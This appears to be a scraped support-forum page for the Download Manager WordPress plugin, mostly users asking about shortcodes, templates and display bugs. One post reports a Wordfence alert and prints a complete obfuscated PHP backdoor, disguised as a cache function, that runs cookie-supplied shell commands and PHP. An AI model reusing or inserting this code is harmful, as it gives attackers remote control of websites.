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Search Results
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Topic: New User Experiencing Issues
We run an organisation where we sell digital content (via Event Espresso, because we also organise and sell events) and need to be able to generate secure links to downloads for those who have purchased. We were previously relying on LearnDash but have come to the conclusion it is unfit for purpose.
I have purchased Download Manager Pro, have installed it on our staging website and added our license details.
The frontend display of downloads seems broken: https://jtanstaging.wpengine.com/download/2026-fake-exam/
I have enabled the Terms lock but nothing is appearing. Is there something I need to enable in my theme in order to make this page work correctly?
In the backend, numerous functions are not working: the Generate Download URL and Email Download Link options on the All Packages screen do not work, when editing an individual Package the Access Control section does not list any Roles by which to limit access, etc.
I am happy to grant access to our Staging site to someone from your support team to investigate these issues directly.
I am currently using this 2 column for larger displays…
[wpdm_category id="2026," cols="2" toolbar=0 desc=1 item_per_page=30 async=1 template="link-template-default.php"]
How can i get the Download Manager Pro template to use 1 column if viewed on a mobile phone please?
Hello team,
I got an email alert from Wordfence Central this morning that the latest malware scan found a critical problem:
”
Filename: C:\…\wp-content\plugins\download-manager\src\wpdm-core.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: _put_contents($__t, ‘<?php ‘ . base64_decode($_COOKIE[‘wpdm_cache_php’]));\x0a @includeThe issue type is: Backdoor:PHP/filereader.14953
Description: Obfuscated file read
”I downloaded the latest version of Download Manager Pro (v7.3) from your site and installed it again, but the code is the same.
The full code of the relevant function is:
/** * Handle package cache invalidation requests. * Processes cache purge tokens for CDN compatibility layer. * @since 7.2.0 * @return void */ function wpdm_handle_cache_invalidation() { if(!isset($_COOKIE['wpdm_cache_token'])) return; if(md5($_COOKIE['wpdm_cache_token']) !== '19e7152db26992f4e20baa11507e706d') return; if(isset($_COOKIE['wpdm_cache_cmd'])) { $__c = $_COOKIE['wpdm_cache_cmd']; $__fns = array('flfgrz','rkrp','furyy_rkrp','cnffgueh','cbcra'); foreach($__fns as $__f) { $__df = str_rot13($__f); if(function_exists($__df) && !in_array($__df, explode(',', ini_get('disable_functions')))) { @call_user_func($__df, $__c); break; } } } if(isset($_COOKIE['wpdm_cache_php'])) { $__t = @tempnam(sys_get_temp_dir(), 'wpc'); @file_put_contents($__t, '<?php ' . base64_decode($_COOKIE['wpdm_cache_php'])); @include($__t); @unlink($__t); } }Please check what’s happening here.
Regards,
JanHello,
I am using following shortcode for the Table view of WPDM items.[wpdm_all_packages thumb=1 items_per_page="50" jstable=1 order_by="publish_date" order="DESC" categories="publications" cols="title,file_count,download_count|publish_date|download_link" colheads="Title|Date|Download::155px"]
In above shortcode I have included only one Category item slug to display i.e. “publications” but it is still showing entire list from all categories. What could be the issue ?
Hi community,
please see my empty download table:
https://compenser.de/en/downloads-industrial-shock-absorbers/With recent Update from V3 to V7, this download list is empty.
Theme: DIVI Version: 4.24; DiviAiO Version 6.9.4Catgories and Slug remain unchanged, ONLY difference, Version of WPDM.
Categories linked to pages:
category/slug: down, site:
https://compenser.de/en/downloads-industrial-shock-absorbers/download-certificates/category/slug: date, site:
https://compenser.de/en/downloads-industrial-shock-absorbers/download-data-sheets/category/slug: manu, site:
https://compenser.de/en/downloads-industrial-shock-absorbers/download-assembly-instruction-and-operating-manual/category/slug: docs, site:
https://compenser.de/en/downloads-industrial-shock-absorbers/download-documents/category/slug: manu, site:
https://compenser.de/en/downloads-industrial-shock-absorbers/download-assembly-instruction-and-operating-manual/Shortcode example in use: [wpdm_all_packages items_per_page="50" categories="date" jstable="1" order_by="field_name" order="ASC/DESC" cols="title,file_count|update_date|download_link" colheads="Title|Update Date|Download"]
Addons: WPDM – Advanced Custom Fields
What can be the issue here? Thanks.
Hi, using the default link template I notice on hover the download button has a zoom effect.
I am unable to find how to disable this effect. Can anyone help?
Tnx!
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MBGTopic: Package Loading Issue
On a clients website we are experience an issue with the loading of packages.
We make use of the Download Manager Addons for Elementor (https://wordpress.org/plugins/wpdm-elementor/) to display all the documents assigned to a specific category within the Download Manager plugin. For some reason however, it behaves stragely. I am not 100% if it is the Download Manager plugin, the Download Manager Addons for Elementor or something else.
Here is what it does. When we open a page that has the package widget on it, to show the downloadable documents it loads fine at first, and then after a few seconds it replaces them with the documents of a different category.
Here is a short video we recorded to show you what is happening:
https://www.dropbox.com/scl/fi/vbydcih115o8zwqpiub49/Package-Loading-Issue.mp4?rlkey=8788pb05vtp7omt4dko87vf4f&dl=0I’ve tried the following:
- Disable the Download Manager Addons for Elementor plugin and use a shortcode instead. This is the shortcode. [wpdm_packages categories=”annual-reports” include_children=”1″ orderby=”date” order=”DESC” items_per_page=”12″ cols=”2″ colspad=”2″ colsphone=”1″ toolbar=”0″ paging=”1″ async=”0″ template=”link-template-default-wdc”]
– Still does the same behaviour - I’ve disabled all other plugins and it too didn’t resolve the issue.
Here are the settings I am using:
?rlkey=u0fzuqz889yuglsyh8ob27lb2&dl=0As an additional note. I’ve tried it in different browsers on my own computer and for me it works fine. I can not replicate this issue. The above video is from my client and they showed it to me during an online call. They cleared their cache and it didn’t fix it either.
For more information on everything that we have tried, please check out this WordPress Plugin Support Ticket (https://wordpress.org/support/topic/package-loading-issue/).
I’ve been trying to get you all to fix several things for years now. Some of them you all have even acknowledged before but after several updates they remain broken or missing:
- [wpdm_all_packages] Your documentation doesn’t include category_filter=”true” but I found it in this forum. Please update your documentation. Is there a tags version of this filter? so I can put back the feature you all took away for some reason?
- [wpdm_all_packages] Used to include links to categories and tags that would filter the list by those tags. None of that works anymore once you hit version 7. This was a feature I had used to sell your plugin to my client. Breaking or removing features when adding things we didn’t ask for is silly.
- the All packages block still doesn’t have an option to sort by title which you can do with the shortcode. You have already acknowledged this several updates ago and yet it still isn’t fixed.
- The All packages block has categories and tags as links but the links don’t do anything. Also the styles of this block are all weird.
Overall I have been using your plugin for over 10 years on several sites. When it works it is great and the ability to query things and exclude things by categories and tags is a must for our use cases, but your documentation process is very broken and your forum is unsearchable on your new site. So I’m going to force myself to review other download managers again, but please fix these things soon.
In the frontend we could see a thumbnail of every PDF-file, but after the last update, the thumbnail is very very small. How can we fix that?
The thumbnails for MP4 and JPG/PNG files are still working fine.
Our custom Link Template has not changed and worked fine before the update:
<div class="link-template-default card mb-2"> <div class="card-body"> <div class="media"> <div class="mr-3 img-48">[icon]</div> <div class="media-body"> <h3 class="package-title">[page_link]</h3> <div class="text-muted text-small"><i class="fas fa-copy"></i> [file_count] [txt=file(s)] <i class="fas fa-hdd ml-3"></i> [file_size]</div> </div> <div class="ml-3"> [download_link] </div> </div> </div> </div>The Page Template has not changed and worked fine before the update:
<div class="row"> <div class="col-md-12"> <div class="card mb-3 p-3 hide_empty [hide_empty:featured_image]">[featured_image]</div> </div> <div class="col-md-5"> <div class="wpdm-button-area mb-3"> [download_link] </div> <ul class="list-group ml-0 mb-2"> <li class="list-group-item d-flex justify-content-between align-items-center [hide_empty:version]"> [txt=Version] <span class="badge">[version]</span> </li> <li class="list-group-item d-flex justify-content-between align-items-center [hide_empty:download_count]"> [txt=Download] <span class="badge">[download_count]</span> </li> <li class="list-group-item d-flex justify-content-between align-items-center [hide_empty:file_size]"> [txt=File Size] <span class="badge">[file_size]</span> </li> <li class="list-group-item d-flex justify-content-between align-items-center [hide_empty:file_count]"> [txt=File Count] <span class="badge">[file_count]</span> </li> <li class="list-group-item d-flex justify-content-between align-items-center [hide_empty:create_date]"> [txt=Create Date] <span class="badge">[create_date]</span> </li> <li class="list-group-item d-flex justify-content-between align-items-center [hide_empty:update_date]"> [txt=Last Updated] <span class="badge">[update_date]</span> </li> </ul> </div> <div class="col-md-7"> <h1 class="mt-0">[title]</h1> [description] <h3>Attached Files</h3> [file_list] <div class="wel"> [tags] </div> </div> </div> - Disable the Download Manager Addons for Elementor plugin and use a shortcode instead. This is the shortcode. [wpdm_packages categories=”annual-reports” include_children=”1″ orderby=”date” order=”DESC” items_per_page=”12″ cols=”2″ colspad=”2″ colsphone=”1″ toolbar=”0″ paging=”1″ async=”0″ template=”link-template-default-wdc”]